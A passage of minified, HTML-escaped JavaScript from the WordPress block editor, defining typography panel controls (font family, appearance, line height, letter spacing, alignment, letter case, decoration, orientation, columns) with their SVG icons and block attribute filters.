wp.blockEditor.__experimentalFontFamilyControl&quot;,{since:&quot;6.8&quot;,version:&quot;7.1&quot;,hint:&quot;Set the `__next40pxDefaultSize` prop to true to start opting into the new default size, which will become the default in a future version.&quot;});const c=a.find((e=&gt;e.key===n))??&quot;&quot;;return(0,d.jsx)(Ss.CustomSelectControl,{__next40pxDefaultSize:e,__shouldNotWarnDeprecated36pxSize:!0,label:(0,T.__)(&quot;Font&quot;),value:c,onChange:({selectedItem:e})=&gt;o(e.key),options:a,className:gs(&quot;block-editor-font-family-control&quot;,i,{&quot;is-next-has-no-margin-bottom&quot;:t}),...s})}(0,f.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/color/addAttribute&quot;,(function(e){return yh(e)?(e.attributes.backgroundColor||Object.assign(e.attributes,{backgroundColor:{type:&quot;string&quot;}}),e.attributes.textColor||Object.assign(e.attributes,{textColor:{type:&quot;string&quot;}}),Sh(e)&amp;&amp;!e.attributes.gradient&amp;&amp;Object.assign(e.attributes,{gradient:{type:&quot;string&quot;}}),e):e})),(0,f.addFilter)(&quot;blocks.switchToBlockType.transformedBlock&quot;,&quot;core/color/addTransforms&quot;,(function(e,t,n,o){const r=e.name;return fs({linkColor:xh(r),textColor:Ch(r),backgroundColor:wh(r),gradient:Sh(r)},Ph,e,t,n,o)}));const Ah=(e,t)=&gt;e?t?(0,T.__)(&quot;Appearance&quot;):(0,T.__)(&quot;Font style&quot;):(0,T.__)(&quot;Font weight&quot;);function Nh(e){const{__next40pxDefaultSize:t=!1,onChange:n,hasFontStyles:o=!0,hasFontWeights:r=!0,fontFamilyFaces:i,value:{fontStyle:s,fontWeight:l},...a}=e,c=o||r,u=Ah(o,r),p={key:&quot;default&quot;,name:(0,T.__)(&quot;Default&quot;),style:{fontStyle:void 0,fontWeight:void 0}},{fontStyles:g,fontWeights:m,combinedStyleAndWeightOptions:f}=Gi(i),b=(0,h.useMemo)((()=&gt;o&amp;&amp;r?(()=&gt;{const e=[p];return f&amp;&amp;e.push(...f),e})():o?(()=&gt;{const e=[p];return g.forEach((({name:t,value:n})=&gt;{e.push({key:n,name:t,style:{fontStyle:n,fontWeight:void 0}})})),e})():(()=&gt;{const e=[p];return m.forEach((({name:t,value:n})=&gt;{e.push({key:n,name:t,style:{fontStyle:void 0,fontWeight:n}})})),e})()),[e.options,g,m,f]),k=b.find((e=&gt;e.style.fontStyle===s&amp;&amp;e.style.fontWeight===l))||b[0];return t||void 0!==a.size&amp;&amp;&quot;default&quot;!==a.size||I()(&quot;36px default size for wp.blockEditor.__experimentalFontAppearanceControl&quot;,{since:&quot;6.8&quot;,version:&quot;7.1&quot;,hint:&quot;Set the `__next40pxDefaultSize` prop to true to start opting into the new default size, which will become the default in a future version.&quot;}),c&amp;&amp;(0,d.jsx)(Ss.CustomSelectControl,{...a,className:&quot;components-font-appearance-control&quot;,__next40pxDefaultSize:t,__shouldNotWarnDeprecated36pxSize:!0,label:u,describedBy:k?o?r?(0,T.sprintf)((0,T.__)(&quot;Currently selected font appearance: %s&quot;),k.name):(0,T.sprintf)((0,T.__)(&quot;Currently selected font style: %s&quot;),k.name):(0,T.sprintf)((0,T.__)(&quot;Currently selected font weight: %s&quot;),k.name):(0,T.__)(&quot;No selected font appearance&quot;),options:b,value:k,onChange:({selectedItem:e})=&gt;n(e.style)})}const Lh=1.5;var Dh=({__next40pxDefaultSize:e=!1,value:t,onChange:n,__unstableInputWidth:o=&quot;60px&quot;,...r})=&gt;{const i=function(e){return void 0!==e&amp;&amp;&quot;&quot;!==e}(t),s=(e,t)=&gt;{if(i)return e;switch(`${e}`){case&quot;0.1&quot;:return 1.6;case&quot;0&quot;:return t?e:1.4;case&quot;&quot;:return Lh;default:return e}},l=i?t:&quot;&quot;;return e||void 0!==r.size&amp;&amp;&quot;default&quot;!==r.size||I()(&quot;36px default size for wp.blockEditor.LineHeightControl&quot;,{since:&quot;6.8&quot;,version:&quot;7.1&quot;,hint:&quot;Set the `__next40pxDefaultSize` prop to true to start opting into the new default size, which will become the default in a future version.&quot;}),(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-line-height-control&quot;,children:(0,d.jsx)(Ss.__experimentalNumberControl,{...r,__shouldNotWarnDeprecated36pxSize:!0,__next40pxDefaultSize:e,__unstableInputWidth:o,__unstableStateReducer:(e,t)=&gt;{const n=[&quot;insertText&quot;,&quot;insertFromPaste&quot;].includes(t.payload.event.nativeEvent?.inputType),o=s(e.value,n);return{...e,value:o}},onChange:(e,{event:t})=&gt;{&quot;&quot;!==e?&quot;click&quot;!==t.type?n(`${e}`):n(s(`${e}`,!1)):n()},label:(0,T.__)(&quot;Line height&quot;),placeholder:Lh,step:.01,spinFactor:10,value:l,min:0,spinControls:&quot;custom&quot;})})};function Oh({__next40pxDefaultSize:e=!1,value:t,onChange:n,__unstableInputWidth:o=&quot;60px&quot;,...r}){const[i]=Ei(&quot;spacing.units&quot;),s=(0,Ss.__experimentalUseCustomUnits)({availableUnits:i||[&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;],defaultValues:{px:2,em:.2,rem:.2}});return e||void 0!==r.size&amp;&amp;&quot;default&quot;!==r.size||I()(&quot;36px default size for wp.blockEditor.__experimentalLetterSpacingControl&quot;,{since:&quot;6.8&quot;,version:&quot;7.1&quot;,hint:&quot;Set the `__next40pxDefaultSize` prop to true to start opting into the new default size, which will become the default in a future version.&quot;}),(0,d.jsx)(Ss.__experimentalUnitControl,{__next40pxDefaultSize:e,__shouldNotWarnDeprecated36pxSize:!0,...r,label:(0,T.__)(&quot;Letter spacing&quot;),value:t,__unstableInputWidth:o,units:s,onChange:n})}var zh=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M13 5.5H4V4h9v1.5Zm7 7H4V11h16v1.5Zm-7 7H4V18h9v1.5Z&quot;})}),Vh=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M7.5 5.5h9V4h-9v1.5Zm-3.5 7h16V11H4v1.5Zm3.5 7h9V18h-9v1.5Z&quot;})}),Fh=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M11.111 5.5H20V4h-8.889v1.5ZM4 12.5h16V11H4v1.5Zm7.111 7H20V18h-8.889v1.5Z&quot;})}),Hh=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M4 12.8h16v-1.5H4v1.5zm0 7h12.4v-1.5H4v1.5zM4 4.3v1.5h16V4.3H4z&quot;})});const Uh=[{label:(0,T.__)(&quot;Align text left&quot;),value:&quot;left&quot;,icon:zh},{label:(0,T.__)(&quot;Align text center&quot;),value:&quot;center&quot;,icon:Vh},{label:(0,T.__)(&quot;Align text right&quot;),value:&quot;right&quot;,icon:Fh},{label:(0,T.__)(&quot;Justify text&quot;),value:&quot;justify&quot;,icon:Hh}],Gh=[&quot;left&quot;,&quot;center&quot;,&quot;right&quot;];function $h({className:e,value:t,onChange:n,options:o=Gh}){const r=(0,h.useMemo)((()=&gt;Uh.filter((e=&gt;o.includes(e.value)))),[o]);return r.length?(0,d.jsx)(Ss.__experimentalToggleGroupControl,{isDeselectable:!0,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,T.__)(&quot;Text alignment&quot;),className:gs(&quot;block-editor-text-alignment-control&quot;,e),value:t,onChange:e=&gt;{n(e===t?void 0:e)},children:r.map((e=&gt;(0,d.jsx)(Ss.__experimentalToggleGroupControlOptionIcon,{value:e.value,icon:e.icon,label:e.label},e.value)))}):null}var Wh=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M6.1 6.8L2.1 18h1.6l1.1-3h4.3l1.1 3h1.6l-4-11.2H6.1zm-.8 6.8L7 8.9l1.7 4.7H5.3zm15.1-.7c-.4-.5-.9-.8-1.6-1 .4-.2.7-.5.8-.9.2-.4.3-.9.3-1.4 0-.9-.3-1.6-.8-2-.6-.5-1.3-.7-2.4-.7h-3.5V18h4.2c1.1 0 2-.3 2.6-.8.6-.6 1-1.4 1-2.4-.1-.8-.3-1.4-.6-1.9zm-5.7-4.7h1.8c.6 0 1.1.1 1.4.4.3.2.5.7.5 1.3 0 .6-.2 1.1-.5 1.3-.3.2-.8.4-1.4.4h-1.8V8.2zm4 8c-.4.3-.9.5-1.5.5h-2.6v-3.8h2.6c1.4 0 2 .6 2 1.9.1.6-.1 1-.5 1.4z&quot;})}),Kh=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M11 16.8c-.1-.1-.2-.3-.3-.5v-2.6c0-.9-.1-1.7-.3-2.2-.2-.5-.5-.9-.9-1.2-.4-.2-.9-.3-1.6-.3-.5 0-1 .1-1.5.2s-.9.3-1.2.6l.2 1.2c.4-.3.7-.4 1.1-.5.3-.1.7-.2 1-.2.6 0 1 .1 1.3.4.3.2.4.7.4 1.4-1.2 0-2.3.2-3.3.7s-1.4 1.1-1.4 2.1c0 .7.2 1.2.7 1.6.4.4 1 .6 1.8.6.9 0 1.7-.4 2.4-1.2.1.3.2.5.4.7.1.2.3.3.6.4.3.1.6.1 1.1.1h.1l.2-1.2h-.1c-.4.1-.6 0-.7-.1zM9.2 16c-.2.3-.5.6-.9.8-.3.1-.7.2-1.1.2-.4 0-.7-.1-.9-.3-.2-.2-.3-.5-.3-.9 0-.6.2-1 .7-1.3.5-.3 1.3-.4 2.5-.5v2zm10.6-3.9c-.3-.6-.7-1.1-1.2-1.5-.6-.4-1.2-.6-1.9-.6-.5 0-.9.1-1.4.3-.4.2-.8.5-1.1.8V6h-1.4v12h1.3l.2-1c.2.4.6.6 1 .8.4.2.9.3 1.4.3.7 0 1.2-.2 1.8-.5.5-.4 1-.9 1.3-1.5.3-.6.5-1.3.5-2.1-.1-.6-.2-1.3-.5-1.9zm-1.7 4c-.4.5-.9.8-1.6.8s-1.2-.2-1.7-.7c-.4-.5-.7-1.2-.7-2.1 0-.9.2-1.6.7-2.1.4-.5 1-.7 1.7-.7s1.2.3 1.6.8c.4.5.6 1.2.6 2s-.2 1.4-.6 2z&quot;})}),Zh=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M7.1 6.8L3.1 18h1.6l1.1-3h4.3l1.1 3h1.6l-4-11.2H7.1zm-.8 6.8L8 8.9l1.7 4.7H6.3zm14.5-1.5c-.3-.6-.7-1.1-1.2-1.5-.6-.4-1.2-.6-1.9-.6-.5 0-.9.1-1.4.3-.4.2-.8.5-1.1.8V6h-1.4v12h1.3l.2-1c.2.4.6.6 1 .8.4.2.9.3 1.4.3.7 0 1.2-.2 1.8-.5.5-.4 1-.9 1.3-1.5.3-.6.5-1.3.5-2.1-.1-.6-.2-1.3-.5-1.9zm-1.7 4c-.4.5-.9.8-1.6.8s-1.2-.2-1.7-.7c-.4-.5-.7-1.2-.7-2.1 0-.9.2-1.6.7-2.1.4-.5 1-.7 1.7-.7s1.2.3 1.6.8c.4.5.6 1.2.6 2 .1.8-.2 1.4-.6 2z&quot;})});const qh=[{label:(0,T.__)(&quot;None&quot;),value:&quot;none&quot;,icon:Fa},{label:(0,T.__)(&quot;Uppercase&quot;),value:&quot;uppercase&quot;,icon:Wh},{label:(0,T.__)(&quot;Lowercase&quot;),value:&quot;lowercase&quot;,icon:Kh},{label:(0,T.__)(&quot;Capitalize&quot;),value:&quot;capitalize&quot;,icon:Zh}];function Yh({className:e,value:t,onChange:n}){return(0,d.jsx)(Ss.__experimentalToggleGroupControl,{isDeselectable:!0,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,T.__)(&quot;Letter case&quot;),className:gs(&quot;block-editor-text-transform-control&quot;,e),value:t,onChange:e=&gt;{n(e===t?void 0:e)},children:qh.map((e=&gt;(0,d.jsx)(Ss.__experimentalToggleGroupControlOptionIcon,{value:e.value,icon:e.icon,label:e.label},e.value)))})}var Xh=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M7 18v1h10v-1H7zm5-2c1.5 0 2.6-.4 3.4-1.2.8-.8 1.1-2 1.1-3.5V5H15v5.8c0 1.2-.2 2.1-.6 2.8-.4.7-1.2 1-2.4 1s-2-.3-2.4-1c-.4-.7-.6-1.6-.6-2.8V5H7.5v6.2c0 1.5.4 2.7 1.1 3.5.8.9 1.9 1.3 3.4 1.3z&quot;})}),Qh=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M9.1 9v-.5c0-.6.2-1.1.7-1.4.5-.3 1.2-.5 2-.5.7 0 1.4.1 2.1.3.7.2 1.4.5 2.1.9l.2-1.9c-.6-.3-1.2-.5-1.9-.7-.8-.1-1.6-.2-2.4-.2-1.5 0-2.7.3-3.6 1-.8.7-1.2 1.5-1.2 2.6V9h2zM20 12H4v1h8.3c.3.1.6.2.8.3.5.2.9.5 1.1.8.3.3.4.7.4 1.2 0 .7-.2 1.1-.8 1.5-.5.3-1.2.5-2.1.5-.8 0-1.6-.1-2.4-.3-.8-.2-1.5-.5-2.2-.8L7 18.1c.5.2 1.2.4 2 .6.8.2 1.6.3 2.4.3 1.7 0 3-.3 3.9-1 .9-.7 1.3-1.6 1.3-2.8 0-.9-.2-1.7-.7-2.2H20v-1z&quot;})});const Jh=[{label:(0,T.__)(&quot;None&quot;),value:&quot;none&quot;,icon:Fa},{label:(0,T.__)(&quot;Underline&quot;),value:&quot;underline&quot;,icon:Xh},{label:(0,T.__)(&quot;Strikethrough&quot;),value:&quot;line-through&quot;,icon:Qh}];function eg({value:e,onChange:t,className:n}){return(0,d.jsx)(Ss.__experimentalToggleGroupControl,{isDeselectable:!0,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,T.__)(&quot;Decoration&quot;),className:gs(&quot;block-editor-text-decoration-control&quot;,n),value:e,onChange:n=&gt;{t(n===e?void 0:n)},children:Jh.map((e=&gt;(0,d.jsx)(Ss.__experimentalToggleGroupControlOptionIcon,{value:e.value,icon:e.icon,label:e.label},e.value)))})}var tg=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M8.2 14.4h3.9L13 17h1.7L11 6.5H9.3L5.6 17h1.7l.9-2.6zm2-5.5 1.4 4H8.8l1.4-4zm7.4 7.5-1.3.8.8 1.4H5.5V20h14.3l-2.2-3.6z&quot;})}),ng=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M7 5.6v1.7l2.6.9v3.9L7 13v1.7L17.5 11V9.3L7 5.6zm4.2 6V8.8l4 1.4-4 1.4zm-5.7 5.6V5.5H4v14.3l3.6-2.2-.8-1.3-1.3.9z&quot;})});const og=[{label:(0,T.__)(&quot;Horizontal&quot;),value:&quot;horizontal-tb&quot;,icon:tg},{label:(0,T.__)(&quot;Vertical&quot;),value:(0,T.isRTL)()?&quot;vertical-lr&quot;:&quot;vertical-rl&quot;,icon:ng}];function rg({className:e,value:t,onChange:n}){return(0,d.jsx)(Ss.__experimentalToggleGroupControl,{isDeselectable:!0,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,T.__)(&quot;Orientation&quot;),className:gs(&quot;block-editor-writing-mode-control&quot;,e),value:t,onChange:e=&gt;{n(e===t?void 0:e)},children:og.map((e=&gt;(0,d.jsx)(Ss.__experimentalToggleGroupControlOptionIcon,{value:e.value,icon:e.icon,label:e.label},e.value)))})}const ig=1,sg=6;function lg(e){const t=cg(e),n=ug(e),o=dg(e),r=pg(e),i=gg(e),s=hg(e),l=mg(e),a=fg(e),c=bg(e),u=ag(e);return t||n||o||r||i||s||u||l||a||c}function ag(e){return!1!==e?.typography?.defaultFontSizes&amp;&amp;e?.typography?.fontSizes?.default?.length||e?.typography?.fontSizes?.theme?.length||e?.typography?.fontSizes?.custom?.length||e?.typography?.customFontSize}function cg(e){return[&quot;default&quot;,&quot;theme&quot;,&quot;custom&quot;].some((t=&gt;e?.typography?.fontFamilies?.[t]?.length))}function ug(e){return e?.typography?.lineHeight}function dg(e){return e?.typography?.fontStyle||e?.typography?.fontWeight}function pg(e){return e?.typography?.letterSpacing}function hg(e){return e?.typography?.textTransform}function gg(e){return e?.typography?.textAlign}function mg(e){return e?.typography?.textDecoration}function fg(e){return e?.typography?.writingMode}function bg(e){return e?.typography?.textColumns}function kg({resetAllFilter:e,onChange:t,value:n,panelId:o,children:r}){const i=Qi();return(0,d.jsx)(Ss.__experimentalToolsPanel,{label:(0,T.__)(&quot;Typography&quot;),resetAll:()=&gt;{const o=e(n);t(o)},panelId:o,dropdownMenuProps:i,children:r})}const vg={fontFamily:!0,fontSize:!0,fontAppearance:!0,lineHeight:!0,letterSpacing:!0,textAlign:!0,textTransform:!0,textDecoration:!0,writingMode:!0,textColumns:!0};function _g({as:e=kg,value:t,onChange:n,inheritedValue:o=t,settings:r,panelId:i,defaultControls:s=vg,fitText:l=!1}){const a=e=&gt;es({settings:r},&quot;&quot;,e),c=cg(r),u=a(o?.typography?.fontFamily),{fontFamilies:p,fontFamilyFaces:g}=(0,h.useMemo)((()=&gt;function(e,t){const n=e?.typography?.fontFamilies,o=[&quot;default&quot;,&quot;theme&quot;,&quot;custom&quot;].flatMap((e=&gt;n?.[e]??[])),r=o.find((e=&gt;e.fontFamily===t))?.fontFace??[];return{fontFamilies:o,fontFamilyFaces:r}}(r,u)),[r,u]),m=e=&gt;{const o=p?.find((({fontFamily:t})=&gt;t===e))?.slug;let r=ge(t,[&quot;typography&quot;,&quot;fontFamily&quot;],o?`var:preset|font-family|${o}`:e||void 0);const i=p?.find((({fontFamily:t})=&gt;t===e))?.fontFace??[],{fontStyles:s,fontWeights:l}=Gi(i),a=s?.some((({value:e})=&gt;e===B)),c=l?.some((({value:e})=&gt;e?.toString()===I?.toString()));if(!a||!c){const{nearestFontStyle:e,nearestFontWeight:t}=function(e,t,n){let o=t,r=n;const{fontStyles:i,fontWeights:s,combinedStyleAndWeightOptions:l}=Gi(e),a=i?.some((({value:e})=&gt;e===t)),c=s?.some((({value:e})=&gt;e?.toString()===n?.toString()));var u,d;return a||(o=t?(u=i,&quot;string&quot;==typeof(d=t)&amp;&amp;d&amp;&amp;[&quot;normal&quot;,&quot;italic&quot;,&quot;oblique&quot;].includes(d)?!u||0===u.length||u.find((e=&gt;e.value===d))?d:&quot;oblique&quot;!==d||u.find((e=&gt;&quot;oblique&quot;===e.value))?&quot;&quot;:&quot;italic&quot;:&quot;&quot;):l?.find((e=&gt;e.style.fontWeight===Ki(s,n)))?.style?.fontStyle),c||(r=n?Ki(s,n):l?.find((e=&gt;e.style.fontStyle===(o||t)))?.style?.fontWeight),{nearestFontStyle:o,nearestFontWeight:r}}(i,B,I);e||t?r={...r,typography:{...r?.typography,fontStyle:e||void 0,fontWeight:t||void 0}}:(B||I)&amp;&amp;(r={...r,typography:{...r?.typography,fontStyle:void 0,fontWeight:void 0}})}n(r)},f=ag(r),b=!r?.typography?.customFontSize,k=function(e){const t=e?.typography?.fontSizes,n=!!e?.typography?.defaultFontSizes;return[...t?.custom??[],...t?.theme??[],...n?t?.default??[]:[]]}(r),v=a(o?.typography?.fontSize),_=(()=&gt;{const e=o?.typography?.fontSize;if(!e||&quot;string&quot;!=typeof e)return;if(e.startsWith(&quot;var:preset|font-size|&quot;))return e.replace(&quot;var:preset|font-size|&quot;,&quot;&quot;);const t=e.match(/^var\(--wp--preset--font-size--([^)]+)\)$/);return t?t[1]:void 0})(),y=(e,o)=&gt;{n(ge(t,[&quot;typography&quot;,&quot;fontSize&quot;],(o?.slug?`var:preset|font-size|${o?.slug}`:e)||void 0))},x=dg(r),S=function(e){return e?.typography?.fontStyle?e?.typography?.fontWeight?(0,T.__)(&quot;Appearance&quot;):(0,T.__)(&quot;Font style&quot;):(0,T.__)(&quot;Font weight&quot;)}(r),w=r?.typography?.fontStyle,C=r?.typography?.fontWeight,B=a(o?.typography?.fontStyle),I=a(o?.typography?.fontWeight),j=(0,h.useCallback)((({fontStyle:e,fontWeight:o})=&gt;{e===B&amp;&amp;o===I||n({...t,typography:{...t?.typography,fontStyle:e||void 0,fontWeight:o||void 0}})}),[B,I,n,t]),E=(0,h.useCallback)((()=&gt;{j({})}),[j]),M=ug(r),P=a(o?.typography?.lineHeight),R=e=&gt;{n(ge(t,[&quot;typography&quot;,&quot;lineHeight&quot;],e||void 0))},A=pg(r),N=a(o?.typography?.letterSpacing),L=e=&gt;{n(ge(t,[&quot;typography&quot;,&quot;letterSpacing&quot;],e||void 0))},D=bg(r),O=a(o?.typography?.textColumns),z=e=&gt;{n(ge(t,[&quot;typography&quot;,&quot;textColumns&quot;],e||void 0))},V=hg(r),F=a(o?.typography?.textTransform),H=e=&gt;{n(ge(t,[&quot;typography&quot;,&quot;textTransform&quot;],e||void 0))},U=mg(r),G=a(o?.typography?.textDecoration),$=e=&gt;{n(ge(t,[&quot;typography&quot;,&quot;textDecoration&quot;],e||void 0))},W=fg(r),K=a(o?.typography?.writingMode),Z=e=&gt;{n(ge(t,[&quot;typography&quot;,&quot;writingMode&quot;],e||void 0))},q=gg(r),Y=a(o?.typography?.textAlign),X=e=&gt;{n(ge(t,[&quot;typography&quot;,&quot;textAlign&quot;],e||void 0))},Q=(0,h.useCallback)((e=&gt;({...e,typography:{}})),[]);return(0,d.jsxs)(e,{resetAllFilter:Q,value:t,onChange:n,panelId:i,children:[c&amp;&amp;(0,d.jsx)(Ss.__experimentalToolsPanelItem,{label:(0,T.__)(&quot;Font&quot;),hasValue:()=&gt;!!t?.typography?.fontFamily,onDeselect:()=&gt;m(void 0),isShownByDefault:s.fontFamily,panelId:i,children:(0,d.jsx)(Rh,{fontFamilies:p,value:u,onChange:m,size:&quot;__unstable-large&quot;,__nextHasNoMarginBottom:!0})}),f&amp;&amp;!l&amp;&amp;(0,d.jsx)(Ss.__experimentalToolsPanelItem,{label:(0,T.__)(&quot;Size&quot;),hasValue:()=&gt;!!t?.typography?.fontSize,onDeselect:()=&gt;y(void 0),isShownByDefault:s.fontSize,panelId:i,children:(0,d.jsx)(Ss.FontSizePicker,{value:_||v,valueMode:_?&quot;slug&quot;:&quot;literal&quot;,onChange:y,fontSizes:k,disableCustomFontSizes:b,withReset:!1,withSlider:!0,size:&quot;__unstable-large&quot;})}),x&amp;&amp;(0,d.jsx)(Ss.__experimentalToolsPanelItem,{className:&quot;single-column&quot;,label:S,hasValue:()=&gt;!!t?.typography?.fontStyle||!!t?.typography?.fontWeight,onDeselect:E,isShownByDefault:s.fontAppearance,panelId:i,children:(0,d.jsx)(Nh,{value:{fontStyle:B,fontWeight:I},onChange:j,hasFontStyles:w,hasFontWeights:C,fontFamilyFaces:g,size:&quot;__unstable-large&quot;})}),M&amp;&amp;(0,d.jsx)(Ss.__experimentalToolsPanelItem,{className:&quot;single-column&quot;,label:(0,T.__)(&quot;Line height&quot;),hasValue:()=&gt;void 0!==t?.typography?.lineHeight,onDeselect:()=&gt;R(void 0),isShownByDefault:s.lineHeight,panelId:i,children:(0,d.jsx)(Dh,{__unstableInputWidth:&quot;auto&quot;,value:P,onChange:R,size:&quot;__unstable-large&quot;})}),A&amp;&amp;(0,d.jsx)(Ss.__experimentalToolsPanelItem,{className:&quot;single-column&quot;,label:(0,T.__)(&quot;Letter spacing&quot;),hasValue:()=&gt;!!t?.typography?.letterSpacing,onDeselect:()=&gt;L(void 0),isShownByDefault:s.letterSpacing,panelId:i,children:(0,d.jsx)(Oh,{value:N,onChange:L,size:&quot;__unstable-large&quot;,__unstableInputWidth:&quot;auto&quot;})}),D&amp;&amp;(0,d.jsx)(Ss.__experimentalToolsPanelItem,{className:&quot;single-column&quot;,label:(0,T.__)(&quot;Columns&quot;),hasValue:()=&gt;!!t?.typography?.textColumns,onDeselect:()=&gt;z(void 0),isShownByDefault:s.textColumns,panelId:i,children:(0,d.jsx)(Ss.__experimentalNumberControl,{label:(0,T.__)(&quot;Columns&quot;),max:sg,min:ig,onChange:z,size:&quot;__unstable-large&quot;,spinControls:&quot;custom&quot;,value:O,initialPosition:1})}),U&amp;&amp;(0,d.jsx)(Ss.__experimentalToolsPanelItem,{className:&quot;single-column&quot;,label:(0,T.__)(&quot;Decoration&quot;),hasValue:()=&gt;!!t?.typography?.textDecoration,onDeselect:()=&gt;$(void 0),isShownByDefault:s.textDecoration,panelId:i,children:(0,d.jsx)(eg,{value:G,onChange:$,size:&quot;__unstable-large&quot;,__unstableInputWidth:&quot;auto&quot;})}),W&amp;&amp;(0,d.jsx)(Ss.__experimentalToolsPanelItem,{className:&quot;single-column&quot;,label:(0,T.__)(&quot;Orientation&quot;),hasValue:()=&gt;!!t?.typography?.writingMode,onDeselect:()=&gt;Z(void 0),isShownByDefault:s.writingMode,panelId:i,children:(0,d.jsx)(rg,{value:K,onChange:Z,size:&quot;__unstable-large&quot;,__nextHasNoMarginBottom:!0})}),V&amp;&amp;(0,d.jsx)(Ss.__experimentalToolsPanelItem,{label:(0,T.__)(&quot;Letter case&quot;),hasValue:()=&gt;!!t?.typography?.textTransform,onDeselect:()=&gt;H(void 0),isShownByDefault:s.textTransform,panelId:i,children:(0,d.jsx)(Yh,{value:F,onChange:H,showNone:!0,isBlock:!0,size:&quot;__unstable-large&quot;,__nextHasNoMarginBottom:!0})}),q&amp;&amp;(0,d.jsx)(Ss.__experimentalToolsPanelItem,{label:(0,T.__)(&quot;Text alignment&quot;),hasValue:()=&gt;!!t?.typography?.textAlign,onDeselect:()=&gt;X(void 0),isShownByDefault:s.textAlign,panelId:i,children:(0,d.jsx)($h,{value:Y,onChange:X,size:&quot;__unstable-large&quot;,__nextHasNoMarginBottom:!0})})]})}const yg=&quot;typography.lineHeight&quot;;const xg=window.wp.tokenList;var Sg=n.n(xg);const wg=&quot;typography.__experimentalFontFamily&quot;,{kebabCase:Cg}=U(Ss.privateApis);function Bg(e,t,n){if(!(0,p.hasBlockSupport)(t,wg))return e;if(bs(t,Qg,&quot;fontFamily&quot;))return e;if(!n?.fontFamily)return e;const o=new(Sg())(e.className);o.add(`has-${Cg(n?.fontFamily)}-font-family`);const r=o.value;return e.className=r||void 0,e}var Ig={useBlockProps:function({name:e,fontFamily:t}){return Bg({},e,{fontFamily:t})},addSaveProps:Bg,attributeKeys:[&quot;fontFamily&quot;],hasSupport:e=&gt;(0,p.hasBlockSupport)(e,wg)};(0,f.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/fontFamily/addAttribute&quot;,(function(e){return(0,p.hasBlockSupport)(e,wg)?(e.attributes.fontFamily||Object.assign(e.attributes,{fontFamily:{type:&quot;string&quot;}}),e):e}));const{kebabCase:jg}=U(Ss.privateApis),Eg=(e,t,n)=&gt;{if(t){const n=e?.find((({slug:e})=&gt;e===t));if(n)return n}return{size:n}};function Tg(e,t){const n=e?.find((({size:e})=&gt;e===t));return n||{size:t}}function Mg(e){if(e)return`has-${jg(e)}-font-size`}const Pg=&quot;typography.fontSize&quot;;function Rg(e,t,n){if(!(0,p.hasBlockSupport)(t,Pg))return e;if(bs(t,Qg,&quot;fontSize&quot;))return e;const o=new(Sg())(e.className);o.add(Mg(n.fontSize));const r=o.value;return e.className=r||void 0,e}var Ag={useBlockProps:function({name:e,fontSize:t,style:n}){const[o,r,i]=Ei(&quot;typography.fontSizes&quot;,&quot;typography.fluid&quot;,&quot;layout&quot;);if(!(0,p.hasBlockSupport)(e,Pg)||bs(e,Qg,&quot;fontSize&quot;)||!t&amp;&amp;!n?.typography?.fontSize)return;let s;return n?.typography?.fontSize&amp;&amp;(s={style:{fontSize:$i({size:n.typography.fontSize},{typography:{fluid:r},layout:i})}}),t&amp;&amp;(s={style:{fontSize:Eg(o,t,n?.typography?.fontSize).size}}),s?Rg(s,e,{fontSize:t}):void 0},addSaveProps:Rg,attributeKeys:[&quot;fontSize&quot;,&quot;style&quot;,&quot;fitText&quot;],hasSupport:e=&gt;(0,p.hasBlockSupport)(e,Pg)};const Ng={fontSize:[[&quot;fontSize&quot;],[&quot;style&quot;,&quot;typography&quot;,&quot;fontSize&quot;]]};(0,f.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/font/addAttribute&quot;,(function(e){return(0,p.hasBlockSupport)(e,Pg)?(e.attributes.fontSize||Object.assign(e.attributes,{fontSize:{type:&quot;string&quot;}}),e):e})),(0,f.addFilter)(&quot;blocks.switchToBlockType.transformedBlock&quot;,&quot;core/font-size/addTransforms&quot;,(function(e,t,n,o){const r=e.name;return fs({fontSize:(0,p.hasBlockSupport)(r,Pg)},Ng,e,t,n,o)}));const Lg=[{icon:zh,title:(0,T.__)(&quot;Align text 